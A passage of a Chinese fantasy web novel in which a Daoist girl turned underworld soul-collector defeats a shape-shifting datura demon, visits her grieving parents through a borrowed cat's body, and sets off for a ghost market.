伸出双手,十指焦如黑炭。她闭上眼睛,深吸一口气,丹田里残存的真气涌动,顺着筋脉从心口流向指尖。
手指上的黑色开始片片脱落,露出里面完好的、新生的皮肤,隐约可以看到青色的脉络。
股股外泄的真气凝结成红线,在新生的掌心上游走,一圈、两圈……直至红线缠满整个手掌。
江知猛地睁开眼,红线在她指尖微微一颤,随即破空而出;速度之快,肉眼只能捕捉到红色的残影。
却不是向着方夫人去的,而是直冲着她身后的方莲!
谢玟与还没反应过来,红线已至方莲喉间,绕颈一圈,轻轻一收。
“喀——”
极轻的一声响起,方莲的头断了,随着“砰”的一声跌落在地,接着她的身体晃了晃,扑倒在地。红线收回,消失在她指尖。
“你是怎么发现我的?”掉在地上的头开口说道,那声音不再是稚嫩的童音,而是她熟悉的姚梦的声音。
江知满意地看着自己新长出的那双骨肉匀称、纤细修长的手:“自是因为本小姐聪明!”
从进入第三层幻境起她就疑惑,这个幻境里的花妖未免太弱了。
一开始还可以用要隐藏身份不能使用法力来解释,那后面呢?
被她的铜钱一砸,疼得面色发白,蜷缩在地上缓了好久;被谢玟与轻而易举地困住,失去行动力;这真的和那个血色蝴蝶以及能控制藤蔓的姚梦是同一只妖吗?
不,一定不是!
在这个幻境里只剩下那两个嚼舌根的丫鬟、方定远和方莲。
丫鬟只是提供信息的,自己连她们的面都没见过,肯定不是;方定远已死,也不可能是他;剩下的就只有一个方莲。
方莲才是这层幻境里被曼陀罗附身的人!
是她把自己带到这个房间里,让自己看到方夫人杀死方定远;是她出现在方夫人面前,出言激怒方夫人对自己下手。
做了这么多就是为了让自己怀疑方夫人才是这层幻境里的花妖,引得自己对方夫人出手。
如果真如她所愿,红线斩断了方夫人的脖子,自己现在恐怕已经变成了曼陀罗的养料。
江知掌心窜出一团火焰,燃烧的手掌贴在地上的头颅上,火热与冰冷相触,发出“嘶——”的一声长响。
面颊开裂,裂纹像蛛网般蔓延,眼前所见全被细碎的纹爬满,一声脆响,面前的一切顺着纹路剥落。
一道亮眼的白光袭来,她闭上眼。再睁开时,面前杂草丛生,灰尘漫天。
“幻境破了,回到现实世界了。”是谢玟与的声音,“还好你没听我的话对方夫人下手,不然不知道会发生什么。”
江知下意识把手伸进衣襟里去摸范无咎送给自己的那块玉。就算隔着帕子,也能感受到玉的热量。
还在幻境里面吗?
不对,在幻境里的时候,那块玉就算烫也没有像现在一样烫。
“他可探鬼物。”范无咎的声音在脑海里响起。
是花妖!而且根据玉佩的滚烫程度判断,这花妖现在离自己很近!
8. 任务完成
谢玟见她一直沉默不再说话,道:“怎么不说话?”
“还没结束。”江知把包裹着玉佩的手帕解开,忍着灼热把玉佩贴在心口,以便自己能实时感受到玉佩热量的变化。“我们还没找到现实世界里的花妖。”
话音落下,墙角漫出丝丝黑雾,地面里响起细碎的崩裂声,暗绿的藤蔓自砖缝间钻出,无声靠近两人。
谢玟与正色起来,他靠在江知身后,那截枯枝横在胸前:“繁花,开!”
几朵细小的花苞从剑柄处生长,接着缓缓盛开,随着谢玟与的动作落下粉白的花瓣。
花瓣纷纷扬扬洒落,触到黑雾的刹那,雾气减淡。
原来那把剑叫“繁花”。从谢玟拿出那把剑开始,江知就对这柄剑充满好奇——它在未注入真气时像路边随手捡到的一截树枝,注入真气后却繁花似锦、美不胜收。
真的太美了!
她忍不住开口询问:“谢玟与,你这把剑是哪来的?”
谢玟与一手拿着繁花,另一只手指挥着花瓣飘落到越靠越近的藤蔓上:“好友所赠。”
江知双手被红线缠满,随着她的一声低喝,指尖红线如蛇游出,缠上藤蔓、绞碎藤曼:“哪个好友啊?能否代我问问怎么才能得到一把这般漂亮的剑。”
谢玟与沉默半晌,道:“我不记得了。”
“什么?”
“只记得是好友所赠,不记得那位好友的面容、声音、就连性别也忘记了。”
“不想说就不说,你拿出这么一个烂理由糊弄谁呢?”江知十指翻飞,红线所过之处,黑雾驱散,“谁稀罕你的那把剑!”
曼陀罗在现实里的法力远不如在幻境里强,才过半晌,府中一片清明。
繁花的花朵消散,化成几粒细小的尘微,谢玟与握紧变回树枝的剑,递到江知面前,道:“你喜欢这把剑?我可以送你。”
语气淡淡,她却听出了几番施舍的意味,胸中涌起一团火,激得自己一把把他手中的剑打落在地。
“谁喜欢你的破剑,本小姐的法器比你这把剑好一千倍,不,一万倍!”
她晃晃手,白皙的手掌在红线的对照下,愈发显得白得晃眼:“这是缚灵丝,上等法器!”
又从荷包里掏出几枚铜板,道:“这可是开过光的铜钱,虽不如缚灵丝珍贵,但也算价值不菲,总之,比你的树枝要好得多!”
“所以——本小姐不稀罕你的那把破剑!”
谢玟与没有反驳,蹲下来把地上的繁花捡起:“这剑没有真气之时太过朴素,确实不太适合你。”
“没错,配不上我!”说完打量起四周,奇怪的是,府中异常安静,要不是心口的那块玉还烫得厉害,她都要觉得这花妖已经被自己弄死了。
曼陀罗花,主蛊惑人心,战斗力十分一般,更何况自己破除幻境一定也给它带来了不小的损伤。
如若花妖现在出现在自己面前,江知可以保证自己将不费吹灰之力拿下它。
但这花妖也不是个蠢的,刚刚放出一点法力试探她和谢玟与,确认了自己打不过就干脆藏起来。
缚灵丝划过府中每个角落,没有异常,江知烦躁地抓了抓头:“藏哪去了藏哪去了?有什么好藏的,出来打一架不好吗?”
“一出来就要被勾魂,只要是个有智商的东西,就不会出来的。”谢玟与在一旁冷眼旁观,“喊多大声都没用,要想办法逼它现身。”
“那就逼她现身!”那几枚铜板还在手心里,江知五指收拢,破裂声自拳中传来。
铜钱被捏碎成齑粉,抬手一扬,粉末漫天飞扬,无声无息地洒满整个方府。
角落里传来一阵尖锐的嘶鸣声。花妖自阴影中踉跄现身,妖身在金粉的侵蚀下无处遁形。
不是姚梦那张一股子魅气的脸,也不是在幻境里出现的植物化的那张,而是方莲的脸。
花妖占据了方莲的身体,这就是她来到方府的目的。
妖,体内存有妖气,妖气会渐渐腐蚀躯壳,躯壳会渐渐变得破烂不堪,最终无法使用。
所以每个妖都会定时更换躯壳。
于是花妖来到方府,引得方定远变心,并指导方夫人栽种下曼陀罗,然后再让方莲亲眼看见自己的阿娘杀死了她的阿爷。
让她终日处于花香之下,在杀意与恨意下成长,成为自己亲手培养的、最适合容纳妖气的躯壳。
江知想起方定远临终所言,那句自己是被蛊惑的犹在耳边。
第二层幻境里,姚梦说自己破费了一番功夫,这番功夫究竟指的是方定远看中姚梦的美色而变心;还是姚梦使用妖力,控制了方定远,让别人误以为他变心了。
答案不得而知。
但可以肯定的是,花妖因为一己私欲,毁了小桃、方莲的人生。
想起在小院中咬破手腕,流血而亡的小桃;想起本是最纯真的年纪,现在身体却被妖侵占的方莲,她心中怒气汹涌。
无论是为了完成地府的任务,还是为了死去的小桃和方莲报仇,自己都绝不可能放过这个花妖。
缚灵丝暴长而出,刺入花妖的心口。花妖浑身一震,方莲的人皮簌簌剥落,露出里面互相缠绕的藤。
它嘶声尖叫,砖缝里原本的嫩芽剧烈生长,从地底涌出,疯狂抽打着四周,廊柱应声而碎,砖石横飞。
荷包里剩余的铜钱全部飞出,在江知身边急速飞旋,冲着她来的藤蔓、砖石被尽数弹飞,叮当脆响不绝。
她纹丝不动,五指缓缓收拢,缚灵丝在她指间越缠越紧,同样,刺入花妖心口的丝也越来越紧。
花妖的挣扎渐弱,身躯开始寸寸崩裂。
“不——”声音还没完全落下,整个妖身炸开,只剩下一小株半透明的曼陀罗花。
是这花妖的魂魄。
江知拿出谢必安之前给她的锁灵囊,将魂魄装入其中,冲着远处的谢玟与大喊:“还看什么呢?收工啦!”
“这般厉害。”谢玟与笑得眉眼弯弯,“还好我没出手,要是帮了你岂不是又要哼哼道‘我自己也可以’?”
江知没说话,谢玟与也不觉尴尬,他指着锁灵囊道:“给我吧。”
江知点点头,把装着花妖的袋子递给他,谢玟与不知道的是,与锁灵囊一齐递来的还有一张黄色的符箓——这张符比江知荷包里的厉害,而且只有一张,被她珍藏起来,不与那些普通的放在一处。
所以没在第二层幻境里为了阻止姚梦追上来顺手甩出。
谢玟与刚刚摸到锁灵囊,符箓爆炸。
他一只手被炸得皮肉翻卷,鲜血直流,再也使不上力气,无力得垂在一旁;另一只手捂住伤口,道:“你干什么?”
还未被江知收回的缚灵丝再次暴长,将谢玟与缠绕起来,慢慢把他包成了一个红茧。
做完这一切后缚灵丝才缓缓收回,安静地缠回指间,转瞬消失。
她垂下手,看着被缚灵丝紧紧包裹的“谢玟与”:“你不觉得自
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己的伪装漏洞百出吗?”
刚到方府时,谢玟与对她是淡淡的疏离,这才符合是正常人对刚见面、还不熟悉的搭档的正常反应。
进入幻境之后就变了,谢玟与说自己担心她,埋怨她照顾不好自己,甚至还拿出帕子给她擦脸。
这太亲密了,亲密得像是两情相悦的恋人。
但两人并不是这种关系。
一开始她以为谢玟与是生性风流,看到个貌美的姑娘都会这样做。
本下定决心离他离得远远的,但看到繁花极美的那一剑后,还是忍不住开口询问。
刚问出口她就后悔了。
一柄剑对于习剑之人是何等重要,问他剑的出处,毫无疑问是一种非常冒犯的行为,一般人早该拔剑相向,再不济也要骂几句。
可谢玟与既没有给她几剑,也没有骂她不知好歹,而是把繁花递给她,说自己可以送给她。
绝对有问题!
尤其是花妖变成飞灰之后,心口处的玉佩虽然变凉了一点,但总体而言还是烫的。
杀花妖时,他全程摸鱼,到底是因为知道自己厉害所以才不出手,还是根本不舍得伤害自己的本体呢?
“不过我还有一个问题想问你。”因为自己识破了花妖的伪装,“谢玟与”的光洁面庞上出现几个窟窿,露出底下方莲稚嫩又带有几分诡异的脸。“在第二层幻境里面,你为什么要帮我?”
“就算我不出手,你难道就走不出这层幻境了吗?你那烧血之术可伤了我不少元气,再来一次,我会直接被你烧死,根本没命开第三层幻境。”浑厚的、尖细的、稚嫩的三种音色混在一起,让人听不真切。
“我自己出手破开幻境,不仅可以保证对自己的伤害降到最小,还能收获你的信任,何乐而不为呢?”
红茧收紧,花妖感觉自己的生命力正在渐渐流失,满身妖气从身上的窟窿处溜走。
他的视线一直没有离开江知:“你说我的伪装漏洞百出,是为什么?”
自己战斗力并不算强,能活到现在靠的就是玩弄人心的本事。
他做的每一个决定都是完全符合谢玟与的性格,不会出一点差错,怎么可能会被发现?
江知:“这是我们第一次见面。”
花妖大笑起来,三种不同的音色叠在一起:“你说你们是第一次见面?不……就算他……但……”
花妖的话还没有说完,红茧收紧,缚灵丝勒进皮肉,骨骼挤压得咯吱作响,这种疼痛让它再也说不出半个字,只能从喉间溢出痛苦的闷哼。
骨骼碎裂,血肉被挤压到极限,茧安静下来,里面只余一株半透明的曼陀罗花。
把红茧里的另外一缕半透明魂魄放入锁灵囊后,真正的谢玟与出现在眼前。
他紧闭双眼,眉头皱着,嘴巴抿起,看上去陷入了一场苦战里。
江知本想用几粒清心丸唤醒他,摸到空空如也的荷包才想起清心丸早在第二层幻境里就不翼而飞了。
只能让他受点苦了。
这样想着,江知从头上拔下簪子,然后刺进正在昏迷的谢玟与的肩膀。
尖锐的疼痛自肩上传来,深陷梦魇的谢玟与被疼痛唤醒。
他看看自己汩汩冒血的肩膀,又看看江知手上尾部明显血红一片的簪子,疑惑道:“发生什么了?”
江知拿起他的衣服下摆,擦干净血迹之后才戴回头上,冷哼一声:“你好菜。”
语气说不出的嫌弃。
9. 重返人间
谢玟与一脸茫然地从地上坐起来,肩膀上的洞虽然不大,但也往外渗血,几朵红花在肩上盛开,越开越艳。
他从怀里掏出锦帕,下意识想用这帕子堵住伤口,让血不要再冒出来染红衣裳。
江知脸色一变,那帕子分明就是幻境里的“谢玟与”给自己擦脸的,沾了自己脸的东西,怎么能碰血液这种脏污的东西呢?
没等到谢玟与将锦帕按到伤口上,那帕子就被江知一把夺过。
谢玟与不明所以:“这是干什么?”
江知道:“在你身陷幻境里没醒来的时候,花妖在这东西上下毒了,我这是救你。”
让她说出真实原因,这是不可能的,随便编一个糊弄过去吧。
谢玟与点点头,没有怀疑她。
伤口汩汩冒血,自己又离得近,慢慢地就闻到一股血腥味。
这个洞是自己用簪子捅出来的,虽然是为了让他清醒过来,但总归不太好。
何况他用来擦血的锦帕还被自己抢走了。
这样想着,江知掀起衣摆最外面的一层,露出里面白色的衬布,双手一扯,撕下来一个布条。
她伸出手,声音清脆:“自己擦。”
谢玟与接过来,按到了自己的伤口之上,血很快浸染白色。
“过了这么久,血还没止住,你这簪子上抹了什么?”
“毒药啊。”
“……”
见谢玟与沉默了良久,江知才笑嘻嘻开口:“你不是无常吗,毒药对你的影响不会特别大吧?而且我这是为了救你,理解一下。”
“没事往簪子上抹毒干什么?”
“自保而已。”江知看谢玟与没做声,以为他不相信,又开口解释,“我爹是京城首富唉,我还是他的独女,多少人想绑了我去敲诈他一笔。”
谢玟与问:“你爹没派暗卫跟着保护你吗?”
江知轻嗤一声:“有啊。不过他派的那些都没我厉害。”
“口气不小。”
“实话实说而已。”江知见白色布条上的红不再扩大之后,方拿出装着花妖灵魂的锁灵囊,丢给他,“你拿着这个去地府交差吧,我还有事要办,不和你一道回去。”
这里正处京城郊外,只需直直地再往前走十里,就能进入京城。
换句话说,只要再走十里,她就可以回家了,可以去找她的阿爷阿娘了。
“带上我吧。”谢玟与猜出了她要干什么,并没阻止,“无常都是两两一组,我若是提前回去了,阎王一定会问你去哪了。”
“我向来胆小,做不到欺瞒顶头上司,可我若是实话实说,下次勾魂再遇到这种情况,你就不会管我了吧。为了我以后勾魂的安全率着想,带上我吧。”
这话说得十分走心,想想自己带上他也没什么坏处,点头应下。
两人从郊外一路走到京城,小路变宽,四周也热闹起来。
这里是江知自小长大的地方,沿街而立的阁楼、随处可见的摊贩,她生出了一种错觉——好似自己从没离去。
“接下来去哪?”谢玟与的声音自身后响起,将她翻飞的思绪拉回。
“往左走。”这条路她走了无数遍,即使闭着眼睛,听路边小贩的吆喝声都知道下一步怎么走。
很快,就到了江府,她的家。
朱红的大门敞开,门前两盏白纸灯笼高悬,白幡自檐角吹下,随风飘扬。院里摆满花圈挽联,正中设有灵堂,白烛成排,香烟缭绕。
这场白事已然到了尾声,宾客都已走得差不多了,只留下主人家。
年老的男人在灵堂里,眸光穿过烛火看摆好的灵牌,泛着泪花,这是她的阿爷——江柏年。
一位夫人坐在楠木椅上,手中用来擦泪的帕子湿哒哒的,这是她的阿娘——王素节。
才几日未见,阿爷阿娘看上去却苍老不少,脸上的皱纹愈发明显,头上白丝也增多了。
江知强忍泪意,开口说话时还是带着几分哽咽:“阿爷阿娘,你们别哭了。”声音好似从很远的地方传来,听不真切。
“知知?是知知的声音!”王素节不再抹泪,她站起来,张望四周,却什么都没发现。
失望袭来,她的泪不自觉汹涌:“我怕是害了梦魇,刚刚听见知知的声音,还以为她回来了,还以为她还没死。”
江伯年走过来,把夫人拥入怀,道:“等办完知知的丧事,请个大夫来吧,给你开两幅安神药。”
江知就在父母跟前,但因为自己目前身份是无常,父母根本看不见自己。
她急得团团转,但又无可奈何,眼泪一个劲地打转:“怎么办怎么办,他们看不到我!我要怎么告诉他们我还能回去,别为我伤心了……”
谢玟与一直跟在她身后,见她垂泪,想摸摸拍拍她的背安慰她,又觉得于理不合,硬生生将伸出一半的手收回。
这一举动,让挂在腰间的锁灵囊暴露在她眼前。
这里面装着花妖的魂魄,那个把方莲当躯壳的花妖。
对啊,花妖能找个躯壳,自己为何不可以也找一个?
院内传来一阵响动,是只黑猫来觅食了。江知心下一动,整个人化成一缕烟飞向那只猫。
谢玟与比她的速度还要快,她还没钻入黑猫体内,就被繁花一剑打回实体。
不过繁花并未灌入真气,打在身上不痛不痒。
江知有些恼怒:“你拦我干什么?”
“不可侵占他人身躯。”
“这不是人,是猫!”
“猫也不可侵占。”
“我不是侵占,是借用,借用!”江知解释道,“和我阿爷阿娘说两句就走。”
“这不符合地府的规定,抱歉,如果你执意如此,我必须阻止你。”
繁花盛开,她意识到谢玟并不是说说而已。
她一面在心里吐槽谢玟与迂腐,一面开口反驳:“黑白无常在我寿数未尽时就勾我魂难道符合地府的规定了吗?要不是他们我们一家现在还是其乐融融的,怎会现在阴阳两隔?”
“我也没见他们受什么实质上的惩罚,可见地府的规定就是个摆设!”
谢玟与愣了一瞬,在此之前,他不知道江知生魂错勾。想来她一定死得突然、死得蹊跷,不然也不会闹着回去。
看她长相,正直青春年华,一生中最为美好的时光,就因为黑白无常的过失,没了。
以后再也不能回到阳间,只得在这阴间地府里打转。
再看看她留着泪的父母,女儿的离去给他们的伤害不小,眼睛红肿,眼下乌黑一片,皱纹爬满,一身珠光宝气也掩盖不了面色憔悴。
“你……”他唇微张,却不知道说什么。
灵堂里剩下的人泪眼婆娑,这般浓厚的哀伤好似也影响到了他。
默了一瞬,繁花枯萎。
“谢谢。”江知知道他不再阻拦了,道声谢后就化为一缕烟钻入了黑猫体内。
她跑入灵堂,跑到王素节的脚下,蹭蹭她的衣摆。
王素节低头,见脚下的猫也眼含热泪,道:“你也在为知知伤心吗?”
她把猫抱起来,细细抚摸着黑猫,那双手极温暖,温暖到即使隔着厚厚的皮毛江知也能感受到。
江知开口想叫声阿娘,嗓子里只溢出几声猫叫,刚想钻出来,给自己找个人的躯
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壳,一道金光包围了她附身的黑猫。
“我施了法,你现在可以口吐人言了。”做完这件事后,他退出灵堂,“我在院子里等你,尽快说完。”
江知点点头,冲着王素节叫了声:“阿娘……”这次开口不再是猫叫,而是自己的声音。
王素节一愣:“我怎么好像又听到知知的声音了?”
“阿娘,不是好像,我回来了,我来找你们了!”江知说得极快。
“伯年……你听到了吗?”王素节怕是自己伤心过度,出现幻觉,急着向自己的丈夫确认。
江伯年:“听到了……好像是从这只猫上传来的……”
见父母都看向自己,江说道:“就是这只猫,我现在就是这只猫!”
江伯年踉跄地伸出手,泪水模糊了视线,一切都模模糊糊,只余那抹黑色无比清晰。
“知知?你回来了?”他的声音颤抖。
王素节忽然想起了什么,将黑猫放到江伯年手上,擦干净眼泪,说:“不知道知知用了什么方法回来的,但藏在一只猫体内肯定不是什么正规手段。我要去把常道长支走,不能让他伤害知知。”
常道长,指的是江知的师傅——常青山。
他是个厉害又正直的小老头,平生最爱处理一些妖怪鬼魂作祟之类的事情。
听到阿娘这样说,江知意识到了阿娘误会了,连忙开口解释:“不用不用,我不是妖也不是鬼!师傅不会收我的!”
“那你怎么突然死了?就算回来还是在一只猫体内,你的身体呢?”
“我突然暴毙是因为黑白无常在勾魂的时候顺手把我魂勾走了……”
她还没说完,王素节就愤愤打断:“荒唐!我说你怎么被石子绊一下就一命呜呼了?!”
江知自知母亲什么脾气,怕她下一秒就要大骂地府、大骂阎王,连忙解释:“阎王自知亏待了我,给了我走无常的身份,让我能在阴间阳间来回。”
“不过你们作为凡人,是看不到无常的。为了让你们看见我,只得借用一下这只猫的身体,我不是没有身体的。”
她看出父母的不忍,出口安慰:“我这也算因祸得福,表面上英年早逝,实际上成了无常,拥有无尽寿命呢!”
王素节:“怎能算福?我们一家人如今阴阳两隔,再也不能团聚了……”
江伯年轻轻揽过妻子颤抖的肩,一只手抱着猫,另一只手抚上她冰凉的手背:“我们这一辈子,不都是为了女儿。现在她不仅没死,还成无常了,该为她高兴。”
王素节听出江伯年的话外之意——现在他们表现得越伤心,江知在地府里就会更担心他们,这并不好。
于是她压下心里的难受,装作云淡风轻:“对,说得对,这是好事。”
她的泪落下来,落进黑色的毛皮里。江伯年把她揽进怀里,又把猫一起拢住。三个人和猫,以一种不同以往的方式,终于抱在了一起。
半晌之后,江知从灵堂中出来。脸颊上眼泪被擦得很干净,要不是眼睛还和桃儿般红肿着,丝毫看不出她大哭过一场。
谢玟与靠在院子里的一棵树上,见她出来,瞥了她一眼:“说完了?”
她点点头,开口时声音沙哑:“嗯,走吧,该回地府交差了。”
谢玟与倚在树上没动:“缓缓再走吧,不然别人看到你这幅样子,只会觉得我欺负你了。”
换作平日的江知,一定会冷笑一声开口嘲讽“就你那水平,谁欺负谁还不一定呢!”,可现在她刚哭得昏天黑地,脑子疼得厉害,就连嗓子像火烧一般。
于是,她罕见的没有反驳,只“嗯”了一声,模样说不出得乖巧。
10. 鬼市,神官耳坠
交完任务后,作为走无常——地府的一员,江知只得呆在冥界。
冥界一切都是静幽幽的,往来的魂魄虽也是络绎不绝,但每缕魂魄都是低着头、沉默不语地向前走,赶着投胎去。
忘川河停滞不前,黄泉路万分寂静。
这一切实在是无聊透了,在地府游荡的第三天江知决定给自己找点乐子。
于是她偷砍断了一棵树,用小刀把木头削成薄片,找来笔墨细细描绘上图案,一副叶子牌制成了。
牌有了,接下来就是打牌的人了。
她拿出玉音,先是邀请了谢玟与,然后又发给黑白无常。
估摸着地府实在无聊,竟然没有一个人拒绝她的邀请,
不消片刻,四个人坐在同一张摆满叶子牌的桌子上。
江知指尖捻起叶子牌,手腕轻转,牌便从她手中片片飞出,精确得落在每个人面前。
“这个很简单的,你们听我说就知道怎么玩啦。”她边哗啦啦地发牌,边用简洁易懂的语言解释起叶子牌的玩法。
谢必安懵懵懂懂:“好复杂,这真的简单吗?”
江知笑道:“很简单的,玩两局就行了。”
一旁的范无咎轻嗤出声,谢必安没好气地问:“笑什么?”
范无咎看着谢必安面前的纸币,答:“笑你上赶着给她送钱。”
江知发牌的动作如此熟练,一看就是老手,像赢谢必安这种刚上手的人好比喝水一样简单。
偏生这个人不觉得,听了范无咎的话后,眼中斗志更胜:“我还没打你就知道了?你怎知我不是个打牌的天才呢?”
范无咎无奈道:“那我拭目以待。”
正巧这时江知发完了最后一张牌,她坐回自己的位置,将倒扣在桌面的牌拿起来,一张张理好顺序。
第一局,江知胜。
第二局,江知胜。
第三局,江知胜。
……
面前的纸币、元宝推成小山,江知的大半张脸被小山掩盖——这些都是谢必安刚刚输给她的。
牌桌上,谢必安颗粒无收,开始之前满满一打冥币现如今只剩薄薄一张。
“胡啦胡啦!拿钱来拿钱来!”江知把手中的牌砸到桌上,牌面露出,俨然是大胡。
眼见最后一点钱也被江知拿走,谢必安面色涨红:“我不玩了!”
范无咎玩味地看着他:“打牌天才?”
谢必安被刺激到了,站起来,留下一句“这种事以后都不用叫我”就噔噔地跑走了。
范无咎在原地等了一会,见他没有回头的想法,放下手里的牌追上去。
二人一走,剩下江知和谢玟与,两人想打也打不了。
江知看着面前堆成山的钱,又看看谢玟与,想到这家伙确实信守承诺,没告诉容予自己偷偷回家。
她沉思一会,伸出手把面前的小山分成了两个更小的山,用胳膊把其中一座拨到谢玟与面前。
谢玟与没动,甚至没抬头。
她把剩下的钱再拿出一半,放到谢玟与面前。
谢玟与还是没动。
她咬咬牙,算了,自己也不差这点,全给他了!
谢玟与终于有反应了,他撩撩眼皮,说:“怎么?你要贿赂我?”
他一挥手,那一大堆的钱消失不见,看得江知有些肉疼。但她面色如常,还问道:“贿赂你干什么?这是你帮我隐瞒阎王的报酬。”
谢玟与突然向江知发难,一道金光袭来,江知下意识伸手阻挡,随着她的动作,袖子里藏着的叶子牌如雨点一般落下。
他指了指四散一地的牌:“贿赂我不告诉白无常你出老千了。”
江知在很小的时候就迷上叶子牌了,可她牌技不好,十赌九输。自从她获得缚灵丝,在常青山的鞭策下日夜练习,一切改变了。
自己的手指变得无比灵活,这让她出老千都没人看得出来,于是她大赌特赌,把好几个赌坊的家底都要掏空了。
逼得京城所有赌坊只要远远看见她过来,都要紧闭门窗装作歇业,不让她进来。
江知一点都没有作弊被发现了的羞愧感,反而还好奇地问:“你怎么发现的?我技术可好了,那么多赌坊老板都不知道呢。”
“当然因为我和你做了同样的事。”谢玟与抖抖袖子,落下一地牌。
江知从地上捡起一张,牌上的刀痕以及上面手绘的图案都透着一股熟悉的味道。在牌桌上寻找一番,马上找到了手上这张的原版。
她捏着两张一模一样的牌说:“我好歹还做了另一幅牌,你直接用幻术变,是不是有点偷懒了?”
谢玟与眼中金光一闪,她从地上捡起的那张就化为一缕黑烟:“我之前所见的叶子牌没有一种和这个一样,想要提前准备也来不及。”
就在这时,一道声音响起:“好啊!我说怎么老是输,你们果然有问题!还钱!”
本该走远的谢必安从暗处走出来,他脸上绯红一片,大约是被气的。
江知和谢玟与对视一眼,从对方眼里看到了同样的答案。下一瞬,她抓住谢玟与的衣袖,并肩冲了出去。
谢必安愣了一秒才追上来,“还钱”喊得越来越快、越来越大,可无论他再怎么喊,两人都没有回头。
身后脚步声越来越急,两人默契地拐进暗巷,白色的身影从旁边跑过,没有发现躲在角落的江知和谢玟与。
江知探出头,看向谢必安离开的方向,确定他没有再次杀回马枪之后,从巷子里走出来。
暗巷被称作暗巷就是因为这个地方又小又黑,刚刚是为了躲人进去,现在人已经走了就不用再委屈自己了。
谢玟与却在原地欣赏白无常的跑步姿势,站在原地没动。
江知牵着他衣袖的手没松开,衣袖因为她一扯,带动了谢玟与整个人朝她扑去。
眼看就要撞上,江知却在最后一刻侧身闪开,顺势一掌拍在谢玟与的后背。
这一掌力道不大,但偏偏谢玟与此时脚下正踉跄着,被这一拍,重心全失,重重摔在地上,扬起一片尘土。
江知低头看他,拍拍手:“你干嘛扑过来?别想占我便宜。”
谢玟与从地上爬起来,拍掉身上的土:“你要是不扯我,我也不会扑过来。”
江知偏过头,反驳道:“我哪知道你这般柔弱,一拽就倒。”
谢玟与面色如常,一点都不觉得尴尬:“我以为你在上个任务里面就知道了我很柔弱。”
江知沉默了,这个人怎么能如此自然地承认自己
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柔弱,这和幻境里那个有点臭屁的人是同一个吗?
如果那次不是第一次和谢玟与一道而行,估计都不用到第三层幻境,刚见面就能识破花妖的伪装。
想来花妖还自诩最了解人心,真是可笑。
腰间玉音闪动,将她的思绪拉回来。拿起一看,没有一行没有注明的信息:鬼市,神官耳坠。
江知有些摸不着头脑:“我们不是勾妖魂的吗?神官耳坠看上去也不像个妖啊。”
谢玟与显然也看到了,道:“或许走无常还有别的任务,比如帮助天上的神仙解决一下他们的小麻烦。”
江知点头:“你说的有道理,这还真是个累活。”
说完,她的手覆在玉音上,缓缓抬起手掌时,玉音表面浮现出一幅泛着微光的地图。上次只是两个红点,这次详细了不少,甚至注明了哪里有山,哪里有河。
江知把头凑近一点:“这玩意升级了?上次没有这么详细啊。”
谢玟与答道:“因为鬼市在冥界。上次你是去凡界,维持玉音的法阵在冥界而不在凡界,玉音自然不能像现在一样。”
江知把玉音挂回腰间,地图已经印在脑海里了,拿在手上也没什么用了。
她凑到谢玟与面前,手肘撞了撞他的胳膊:“那走吧。”
谢玟与站在原地没动,看着她:“现在?你不觉得自己忘了什么吗?”
听到这句话,江知再三确认铜钱、符箓装了满满一荷包才开口:“我没忘什么啊,保命的东西都带着呢。”说完还拍拍荷包,狡黠地笑了笑。
“我没说你忘带东西了。铜钱、符箓,你没忘自己是个道士,怎么不想想道士去鬼市的后果是什么?”
江知被说得一愣,仔细想想反驳出声:“我生前是道士,但我现在是无常啊,无常不能去鬼市吗?”
谢玟与无奈解释道:“你很聪明,但地府对你来说,真的太陌生了。生前是道士学习过道法这会让你的魂魄侵染上道法的气味,鬼市里的鬼最讨厌这些了。”
江知:“那我不能去吗?”
“不是不能,只是你可能需要我的帮助。”
江知一双又黑又亮的眸子看向谢玟与,眼里涌现出几丝期待:“那你会帮我吗?”
谢玟与本来想为难她一番,但被这双黑漆漆的眼睛看得有些晕乎乎地开口:“我会。”这两个字在他没反应过来之时就从喉间溜出。
他向江知伸出手,江知虽然不知道他要干什么,还是听话地把右手放入他的掌心。
然后手腕上就多了一条手链,那条手链是由一颗颗血红的、米粒大小的珠子串成的,看上去颇为眼熟。
“这不是我的血变成的珠子吗?”她想起来了,在她成为走无常的时候,阎王从她眉心取了一点血,那点血化成的珠子和她手腕上戴的一模一样。
谢玟与大方承认:“是的,这是我来之前阎王给我的,说是能掩藏你的道士气息。”
江知不满道:“他为什么不直接给我?”
谢玟与道:“可能因为我正巧路过?”
江知点点头,看起来是接受了这个说法:“现在我们可以走了吧?”
“对。”
江知抬脚就走,步子不快。谢玟跟在她身后,距离不近不远。
11. 大闹鬼市
鬼市虽和地府同属冥界,但它并不像地府一样冷清,而是十分热闹。
一条长街上站满了长得稀奇古怪的小鬼,有的摆摊做生意,有的停下买东西。
江知腕上的手串自从进了鬼市的地界后就开始隐隐发烫,应该是它起作用的证明,这种熟悉的灼热之感让她想到了范无咎送给自己的玉佩。
这次她没把玉佩戴在身上,毕竟鬼市里都是鬼物,要真带了不得被烫个半死。只是没想到没戴玉佩会发烫,手串也会发烫。
谢玟与站在一旁,走动时不小心碰到了手串,被这股热意烫得一震,眉头紧锁道:“这么热,不难受吗?”
江知摇头:“还好啦,我能忍。”
“那就是还是有点难受对吗?”
“这么热的东西贴着,当然难受。你这么问,难道你有解决的办法?”
谢玟与轻撩眼皮,道:“没有我问你干嘛。”
江知听到这话,急得贴过去,见他慢吞吞的,抬手就往他的肩膀上猛拍几下。
随着手掌一起袭来的是一阵香风,甜而不腻,是独属于少女的气息。珠串好几次随着动作碰到他的肩头,热意像是太阳雨一般,刚一落下就被阳光照得消失不见。
那股在肩头匆匆一瞬的热,只有自己知道。
他偏过头,一只手捉住江知胡闹的手,另一只手捻起手串上的珠子。
江知知道他这是在帮自己,就没反抗,任由自己的两只胳膊都被他牢牢抓住。
谢玟与全身散发出蓝光,江知和他离得近,感受到和光一起来的凉意,她不自觉靠近了一点。他不自然偏过头来,捻着珠子的手收紧。
包围着谢玟与的光开始游动,顺着他的胳膊、手掌、指尖渐渐流到他捻着的珠子里。
那颗红色的珠子悄然退成粉色,那点粉意好像会传染一般,顺着手串晕开,侵染了邻近的珠子。一颗接一颗,整串手串最后褪尽了血色,成了温润的粉。
手腕不再被一个烫得东西贴着,江知心情大好,向谢玟与道完谢就开始思考这次的任务。
玉音上的红点从他们到达鬼市之后就消失了,这代表玉音并不能告诉他们耳坠的具体下落,要自己找。
偌大的一个鬼市,就算找一个知道样式的耳坠也很困难,更别提他们并不知道这东西长什么样了。
